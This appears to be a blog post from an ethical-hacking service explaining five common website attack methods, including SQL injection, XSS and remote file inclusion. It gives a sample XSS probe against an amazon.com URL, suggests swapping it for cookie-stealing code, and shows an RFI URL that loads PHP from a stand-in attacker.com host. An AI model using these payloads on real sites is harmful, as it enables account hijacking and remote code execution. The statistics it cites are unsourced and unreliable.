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Way to hack a website – TOP 5 Methods

You may have a question what is the way to hack a website or database. We will explain a few of them in this post. 80% of organizations have a website so their clients can access information as faster as possible. Lots of organizations now accept sign up online as their clients without physically visiting the office. So peoples filling various forms with their sensitive information and all information stored in databases.

A website coded by a programmer in various languages such as PHP, .NET, Java and integrate to communicate with database software like MySQL, SQL Server, PostgreSQL or Oracle where all information is stored. One of the good sides It makes an Administrator easier to manage clients too, publish anything faster than ever.

It also has security risks. A bad computer hacker may try to steal your or your client’s sensitive information. If the website coded poorly, then the website could be easily hackable. Hacking is exploiting human mistakes. And today whatever is developed, developed by humans! There are many ways to hack the website, but we will quickly tell you 5 ways to hack the web or database.

SQL Injection Common Way to Hack Web

SQL Injection is a common way to hack a website used by hackers. A hacker finds pages where he can input data. But he input the SQL Statement instead. If the website is vulnerable, it will respond to his SQL Statement/Commands. The most Riskier place to input SQL Statements are:

  • The Login page.
  • Registration Page.
  • Comment Box.
  • Headers.
  • URL Variables.

Every page may not be vulnerable, there are one or another page could be coded in less carefully. So the hacker will find all available suspected pages with spider tools. Then he will test with his crafted data.

Cross-Site Scripting

Cross-Site scripting also knows as XSS. This another way to hack a website by exploiting the admin cookie. In the past, this hacking method was very popular in the hacker world and still used to exploit the client’s side. In default, all popular browsers execute javascript code. If a website insecurely coded, a hacker can execute javascript without notifying the user.

Almost every website requires to use cookies. The cookies created when you visit a site or login. Using cross-site scripting the hacker can steal the cookie, and use it to log in to your accounts.

There are two types of common XSS vulnerability:

  • None-Persistent: This XSS vulnerability executed using a crafted URL. For example, amazon.com/?product=1 <script>prompt(1)</script> popup “1” then it is vulnerable to XSS and to exploit the vulnerability hacker will replace the simple javascript code with more malicious code and send to another amazon user to steal the cookie. This used to target a single user!
  • Persistent XSS: If the website allows the user to post contents and if it is vulnerable to XSS then whoever existing user visit the contents will be infected. Just think about amazon product review where customer and buyer can write comments.

Remote File Inclusion

In Hacker’s world Remote File Inclusion also known as RFI a good and old way to hack a website. This vulnerability was common in the past which was coded in PHP. Still, many websites exist vulnerable to RFI.

This RFI Vulnerability allows a website to execute PHP code from an external website. Suppose you have a URL like https://example.com/rfi.php?product=script/code.php. If it is vulnerable to RFI then it will execute PHP code another web site like https://example.com/rfi.php?product=attacker.com/code.php.

PHP or any other programming language can execute system commands!

Information Leakage

This is another problem the webmaster forgot to protect. Information leakage help hacker learn deeper for the next planning of an attack. As professional hackers, we have tested many websites. Often we found valuable information in comments and allowed us to access a restricted page without many efforts. Sometimes we even found Database administrator login information.

Software Vulnerability

A software vulnerability is another way to hack a website. Lots of hosting providers use old software and old operating system. The webmaster doesn’t even care to update CMS Software.

From our practical experience, we have seen, the admin still uses Ubuntu 12.04, Apache 1.x.x, PHP 5.x.x and much more. WordPress always fixing vulnerability and offering updates but 60% care to update. And this opens a door for a hacker to make a hacking attempt.

In another post, we will show you how to use some web hacking tools such as burp suite to find a vulnerability in websites. Stay with us and give the opportunity to give everybody the best professional ethical hacking services.

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